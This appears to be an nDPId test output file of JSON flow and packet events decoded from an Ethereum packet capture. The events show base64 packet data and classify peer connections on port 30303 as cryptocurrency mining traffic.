+00428{"flow_id":55,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1340,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":458850,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGxBbAqAG4NAmARN1Vdl\/t7etc0eyX2IAQECzabQAAAQEICiLYl5+DIEEY"} +01079{"flow_id":55,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1341,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":460380,"pkt_caplen":538,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":538,"pkt_l4_len":504,"pkt":"EBMx8Tl2KDc3AG3ICABFAAIMAABAAEAGwj7AqAG4NAmARN1Vdl\/t7etc0eyX2IAYECw2bAAAAQEICiLYl6CDIEEYAdYE5LsQSZlDUqqTHDd28VIop408G8yHQ+g12SBtC4bobvsWyQ4YWXiRfGVfScHSSUnTjTpf\/+23Sz0kCTGUpeeZFIqw3JnBHdptJpv6R2QSdjwWF97DyrJFySS8bo0Z5f6iv8act5Gj4QOtF9wl7L4XXQ\/F1DNsc\/lWP2vigp16BUuZMGglwG663lAad9u0dkQ9FK2\/7\/8AOVyotPmi+JeFwCWQ8jE2NRIY\/iLlnhd84GwGpOWfGlXg2sRox3c92a0drS3o5YJyHfODCJKd193nihFVDq18n74tRhyKX6zzotiy\/kwSO6m\/\/Y8jtY8L+ZeEz+ApaHZAgbWiteJxWtEen3Z6RV1DI8tKhdynvtOMMOzz49Rx25gKK9DSlgEi54tvDDIa4VG2z8P5l1nvHLjyaLGh0LL6goab8xtTadEJUjCnY3t\/fZrnnudTuWibKhNHBZrOh1FASkf\/u4aIsAaa\/fTHS++2nsizi3dopiJ8G9PkpE7aMhPDUyHILPc8tYAJAyXN39XQYwYzL+ry\/\/lAbapCn30R24vKqkiwseOuDMtEC9yiUtZN\/ju0Qt6\/PDHFGgfGtibb9zS0CSW6nDPiDOBnf9bT0whSnVZlZ+MLutLVJqm5jA=="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1341,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":4,"flow_first_seen":1578508365279,"flow_last_seen":1578508365460,"flow_tot_l4_data_len":620,"flow_min_l4_data_len":32,"flow_max_l4_data_len":504,"flow_avg_l4_data_len":155,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"52.9.128.68","src_port":56661,"dst_port":30303,"l4_proto":"tcp","ndpi": {"proto":"Mining.Amazon","breed":"Acceptable","category":"Mining"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1342,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1578508365461,"flow_last_seen":0,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":136,"flow_max_l4_data_len":136,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"202.112.28.106","src_port":30303,"dst_port":30303,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00572{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1342,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":461164,"pkt_caplen":170,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":170,"pkt_l4_len":136,"pkt":"EBMx8Tl2KDc3AG3ICABFAACcQtMAAEARjkPAqAG4ynAcanZfdl8AiDkPCEixaJX\/9thQC0r9cGcsCeen+iETb10JXBU9BZQL28M1nK8vCE6bMd2SC2XGliMqSbi8oqYHUjyrBa753h2KySNTFNso18+nMzMVWvdibnHX4lluxe+\/vRPiYB2kYX3uAAHdBMuEfwAAAYJ2X4J2X8mEynAcaoJ2X4CEXhYgYQU="} +00552{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1342,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1578508365461,"flow_last_seen":0,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":136,"flow_max_l4_data_len":136,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"202.112.28.106","src_port":30303,"dst_port":30303,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00440{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1343,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":465293,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAACsGNXy2oqE9wKgBuHZf3Ueh\/8nUB338R6ASOJDbwAAAAgQFrAQCCAo8EmDbItiWYAEDAwc="} +00428{"flow_id":45,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1344,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":465408,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGIITAqAG4tqKhPd1Hdl8HffxHof\/J1YAQECwxpAAAAQEICiLYl6U8EmDb"} +01138{"flow_id":45,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1345,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":466737,"pkt_caplen":588,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":588,"pkt_l4_len":554,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI+AABAAEAGHnrAqAG4tqKhPd1Hdl8HffxHof\/J1YAYECxPlAAAAQEICiLYl6Y8EmDbAggEdoa9oP2cg5WbFRFp1huJY5VX6jNWR4iP8q0\/ZL+UfNj5WPNc5X3v5yp6YKaivB+gVGyrqfEZ+GjIg4XUCsubChBVe+OydG5YXSKovd4Zvd2sMMyI2oOC03c\/\/kw7hbjJ+rbBQxdWEgnQfHb5jg0KH99eYra9BRmnscjtPZ0VPLlbqSIcGOO1IiECUgTAOnr7SvcmyLFIiAGvGrvIdBrTIX76tgcsbBfHLo9eTIxNuEIPzftpoJlQRkkJFNo8lNqUk\/8C6TDddviZkLmf4HMeMlelv0\/SasZ6LuKmyQqv+6Mt7JjKWqNyxGEEereBZV30a3IwqqLc6nUseUnNUQaHuDiCR2cYJetm4kh+05RWknax3MTWGgsKyA1\/YRLowef50NB62eOQ35t\/nBtZreItPNm4cNzObl4w+R+inyZ6li8vfc3BlOL32oXm0w2h\/yO0+x2iMoMFs5E9MhSHHxNibIum2iNU6EkUL9wtesdWPyKtSi9lBYLQsSPpaLzTCSWPERK9PKL++NBm\/U676p1bFKl4W7\/Ejrza39gV8xmvOiBamM+U+6+vGXo0NysfKdV7T+LqlOjRTzZaPkLZ\/iVcI1ZddWk4e4FedK17QLh10zktBCaEDabKeg0lqB4s1r5My9st7NMBbRXcQGzOAxWryiBkdnxlPs7Ka+FwnQf3qTCDYsXMFh2h"} +00563{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1345,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":4,"flow_first_seen":1578508365094,"flow_last_seen":1578508365466,"flow_tot_l4_data_len":670,"flow_min_l4_data_len":32,"flow_max_l4_data_len":554,"flow_avg_l4_data_len":167,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"182.162.161.61","src_port":56647,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00441{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1346,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":485758,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAAC0GVVKKS6u+wKgBuHZf3VEGdfqIHq1FlaAS\/og\/VgAAAgQFrAQCCAqkAfsSItiW0AEDAwc="} +00427{"flow_id":52,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1347,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":485867,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGQlrAqAG4ikurvt1Rdl8erUWVBnX6iYAQECxbjgAAAQEICiLYl7mkAfsS"} +01163{"flow_id":52,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1348,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":487180,"pkt_caplen":605,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":605,"pkt_l4_len":571,"pkt":"EBMx8Tl2KDc3AG3ICABFAAJPAABAAEAGQD\/AqAG4ikurvt1Rdl8erUWVBnX6iYAYECxdtAAAAQEICiLYl7qkAfsSAhkEh\/JdZMRsvJD50CNbEaijDchFk3OeRxtIP9ocS2obT6LBAseQF6pytODiuXSbVf+Tmz5zqYi1Ty803nXLMzQOvNkOxSwkZkVUAfx+vDSqcJWe9hIdwkIOFWQ6Saby8ldXdWtC8ihaXIOuPl\/\/xLwvlUX\/F9SqKUKM2mTHVKVmZXgsN+9R9+ScHBB86uiM2WW9EfrUqPwS1DZZgmVd0oVjiW6ZFQZ3uPmqvpA6EbIm4iw+wZ7DthnkwGPRVZ2WbUXisIz138NTOUZM\/of5lFF2Ni55b0jr9dFQlRBYV4BTowlUzbb0h4uWSigpsDVoB+vANxwYYpZzi2g5VCJfZY0kwv2sj5u0zJyf820aBK9BeOggBjLsPc7pgxzkphmVfkJoriXillvShMJUQ87DOlRl1PLwZwUsNbx+xSd4Gci1PEnLhRjr2+OXJBia0DcecgMaNsdXFH\/Z+KB5x\/HWiSM\/B5iczT0gPqTog97WV5H8npGpr53JyOCZIkdRs6s4OiT9sjzU+5klAakPECUL6RpVCfWzm2fNKv+\/PiMlKEbfS72BxbX8uEN1Vt0pLKbA09K6PG1LiR65jTcj4prXGZrttMrIUK0cSW+Q2+OFTPpvS1jewPwUKp2bh5sojycr9XLKS4yBBP4pqTrPiuWsLhL1S9I5\/x1THo924R+UfL\/YLunQddGt+mPuZ0CGIL7Lm5eEAO\/WaRtrUCk="} +00563{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1348,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":4,"flow_first_seen":1578508365226,"flow_last_seen":1578508365487,"flow_tot_l4_data_len":687,"flow_min_l4_data_len":32,"flow_max_l4_data_len":571,"flow_avg_l4_data_len":171,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"138.75.171.190","src_port":56657,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00427{"flow_id":54,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1361,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":553053,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA019hAADEGZN4zoRcMwKgBuHZf3VQuhVQBV1cRDYAQAOytEQAAAQEICj7og9si2Jd3"} +01002{"flow_id":54,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1362,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":560301,"pkt_caplen":487,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":487,"pkt_l4_len":453,"pkt":"KDc3AG3IEBMx8Tl2CABFAAHZ19lAADEGYzgzoRcMwKgBuHZf3VQuhVQBV1cRDYAYAOx5KAAAAQEICj7og98i2Jd3AaMElrnjCS78C012RtSCEFzgBwfeOrYXkm9L03KmAT91mYcbJS5rUkD1wCGw72dNUNBAUUXpnsL3\/WEfMdBwfF5d0GztDi325Bo\/tgnFwVTMIyJ9G8zLr00Pv9Gqgjl3FWBxvjIpwkFRdkNHAYtQQpt7SG\/QJZ97vvjyEBtLzdbeKobqKHJMm5INAMGYql85\/6914UHkJmZQxqjzjr1ozB19yu+hdbBJrGlWxPNmWMVZkCa+Zoc\/UC833Eq0570s88+cxYyGgx4jzGWlj6y7KdDgd+pj7yhbOgp2c1sJXKi\/iP0\/ap+IkXp4EMRmfg0Ng+i9c1rRZMajrxTTZ\/6Q5scXrR0O83VPMrSV9wtRMPh4RM70cFN0IF4nniajPbYJigJswAbUytn6jiodA47XUig55EVMoeL0yGjDjA1zMOAAfLe6i3eIgs1QVyflAabmYNYUOznrLZ+T+M1pDCUEHelba3IjtPIBm0+pI4pyRuDDc8X+enLrTXfDxatThxZMV49MsKFk2uKmZWrjJRx4nflMXa2lSKfU3mXrx1+vGC12yHS1YQ=="} +00427{"flow_id":54,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1363,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":560398,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGLbfAqAG4M6EXDN1Udl9XVxENLoVVpoAQEB6brAAAAQEICiLYmAE+6IPf"} +00471{"flow_id":54,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1364,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":561176,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2KDc3AG3ICABFAABUAABAAEAGLZfAqAG4M6EXDN1Udl9XVxENLoVVpoAYEB54kgAAAQEICiLYmAE+6IPfb+qeZi5PrK+rKZYwUNUYR9bKRfgb91aeREsKhRKHnns="} +00431{"flow_id":54,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1365,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":561191,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA1AABAAEAGLbbAqAG4M6EXDN1Udl9XVxEtLoVVpoAYEB4qgwAAAQEICiLYmAE+6IPfcQ=="} +00600{"flow_id":54,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1366,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":561248,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"EBMx8Tl2KDc3AG3ICABFAACwAABAAEAGLTvAqAG4M6EXDN1Udl9XVxEuLoVVpoAYEB6eUgAAAQEICiLYmAE+6IPfMFrA+N42rZKvoG8QdvlI4z39qbIWDffMIk1+GnwxhjLb76yafIG8rKsKFifeQVzv5VFi0GWvoIqpwZp6rNxXVdEgz7xR59uXEBY7qaL7KxFcNosf7Qo13gxsKQ67UEaKlHU2GEi5NvH7fUH8N6ySYHj\/hvocv3nIwo7fQQ=="} +00432{"flow_id":54,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1367,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":561261,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA3AABAAEAGLbTAqAG4M6EXDN1Udl9XVxGqLoVVpoAYEB4TRwAAAQEICiLYmAE+6IPf17yw"} +00452{"flow_id":54,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1368,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":561326,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEAABAAEAGLafAqAG4M6EXDN1Udl9XVxGtLoVVpoAYEB4CRAAAAQEICiLYmAE+6IPft0hzLBvCTwNpwwqES4lDpQ=="} +00472{"flow_id":54,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1369,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":567015,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFAABU19pAADEGZLwzoRcMwKgBuHZf3VQuhVWmV1cRDYAYAOxkzgAAAQEICj7og+Ei2Jd3b+p0Zi5PrK+rKZYwUNUYR5dfWQ7Ch8tPqncxWPhSikE="} +00428{"flow_id":54,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1370,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":567108,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGLbfAqAG4M6EXDN1Udl9XVxG9LoVVxoAQEB2a1QAAAQEICiLYmAc+6IPh"} +00432{"flow_id":54,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1371,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":567315,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA119tAADEGZNozoRcMwKgBuHZf3VQuhVXGV1cRDYAYAOw6PQAAAQEICj7og+Ei2Jd3cQ=="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1373,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1578508365567,"flow_last_seen":0,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":136,"flow_max_l4_data_len":136,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"106.12.39.168","src_port":30303,"dst_port":30333,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00573{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1373,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":567882,"pkt_caplen":170,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":170,"pkt_l4_len":136,"pkt":"EBMx8Tl2KDc3AG3ICABFAACcHIoAAEARCbPAqAG4agwnqHZfdn0AiGszdDnl2LgHwUzwnp\/NUaAjl2\/6ukAyoGtKBC9U9NcJJ2SSjY1bIBQONPG3UmfcMXvTBTN6oZMu6GXIBxr9UadDckfonN6CsHl3H7EBI7wV8mnDuf+AbUa\/i02tPDo+DL09AAHdBMuEfwAAAYJ2X4J2X8mEagwnqIJ2fYCEXhYgYQU="} +00551{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1373,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1578508365567,"flow_last_seen":0,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":136,"flow_max_l4_data_len":136,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"106.12.39.168","src_port":30303,"dst_port":30333,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1385,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1578508365588,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"167.86.122.50","src_port":56670,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1385,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":588602,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGVs\/AqAG4p1Z6Mt1edl9ccbjwAAAAALAC\/\/8vAQAAAgQFtAEDAwUBAQgKItiYGgAAAAAEAgAA"} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1386,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1578508365592,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"86.107.243.62","src_port":56671,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1386,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":592330,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGLq7AqAG4VmvzPt1fdl9sf4vVAAAAALAC\/\/8j6AAAAgQFtAEDAwUBAQgKItiYHgAAAAAEAgAA"} +00427{"flow_id":56,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1387,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":593653,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0AABAADQGeGsj5egTwKgBuHZf3VbzHyaM6OsJA4ASbvDSjgAAAgQFjAEBBAIBAwMH"} +00412{"flow_id":56,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1388,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":593768,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGbHfAqAG4I+XoE91Wdl\/o6wkD8x8mjVAQIABiKQAA"} +01006{"flow_id":56,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1389,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":594975,"pkt_caplen":489,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":489,"pkt_l4_len":455,"pkt":"EBMx8Tl2KDc3AG3ICABFAAHbAABAAEAGasTAqAG4I+XoE91Wdl\/o6wkD8x8mjVAYIAAS7gAAAbEEziim\/J0gI8gjAVY+YmyCFFnqH0s5j5T0so8TjsA51obDHc0Rqz2AdCozLs+UTk1cW9Y5OjQSK8Y31YFyoo8Sh4CTbFuJ4RxMa\/yBpXWlsq91wodmIbZ0TFzI02phx1+XzfP\/VUH7OzLCHU4h4kT8KvUeuuzDiXeRKp3KFGQiCfbiffkYqfEmxNQvkTb3bSuC7A8z6koun3pmBF22PF5x0CnRQDoed\/Ii0RtaJmiyQ4GdsJxavdJzD\/2guMA92F0O2B3er6P8w0lQ+UJuLCFacbaeCM9fT+\/GAhNt77XxcoerYekezrYhubw03HpgaHzjzy6JTcDypLc42mlWXJsvZ52w7ejgK7bcZB++5VYrmPz5YbsWfdqD+S9cUUrP0guijgLVfELMV+E0CflWtwtRP9SavemrOvy\/STy0yfl\/QD3317J6FBeo6KQy1txk5g6pQBHzb7Ex++\/1RrCeCi+2gIuN\/LSZS2IA7emeedvnVvyOQN4icPyUtjCg5FVYqUWdvItRpzo+7uX6XrHM8ZUHAl0B6HzG\/h+08MNm7+8VB7YBQ6RQi0iLtTs1obyhkH7J"} +00427{"flow_id":53,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1390,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":603422,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA05IZAADAGbZ+d5phXwKgBuHZf3VIVkuQiTk9c+oAQAOxb8gAAAQEICrzbsV4i2Jd9"} +00964{"flow_id":53,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1391,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508365,"pkt_ts_usec":603599,"pkt_caplen":457,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":457,"pkt_l4_len":423,"pkt":"KDc3AG3IEBMx8Tl2CABFAAG75IdAADAGbBed5phXwKgBuHZf3VIVkuQiTk9c+oAYAOz1AAAAAQEICrzbsWAi2Jd9AYUEiu06kQiDK+9uOuoMwZjPRpVMVnOIPe10u66FuxSo\/8swWJ62RkpZ\/TP4ko5IDqFuDjAriI\/PN22Y2zlqyZImGujwh+pdxrILNCh6fNyZnRZhZdc\/OCJtSPf7UHGzyPDktQiQ9T0rNa3KGy12KWTXCsNiUQAraLiUVfC\/07WS9nFTgfzbKaWAzyzd42dBjZQ\/tMzxBcBjB3JPK6DAhbZJmY+UrYIwRB4oo58MyRpQf0g4k2esz4M65yuGcjz1NB8DiWhX6IASTpS1j6BewpZIKvzTVfBv37rg\/1g45wZg2jSPcYU5iG4uXSxMQnEJgbbA415Sw7zw515zhYF0ns4wJVkDH2uBZjcfam+fFmOilf2Aw\/vftGBEi8nOuqSx4f05YswvACprLOkyUkKegj4doQi2H7ueg\/uPP9+7E+4JkL9ElYXdgMO\/ltPwYrDdbZ6tSwgAPk2mBTX9IanyMPHVSbjySPpiYdsC5A+SrTPpZZFQ40cQt5QcZThGOrjPjXaA+8hvDA=="} 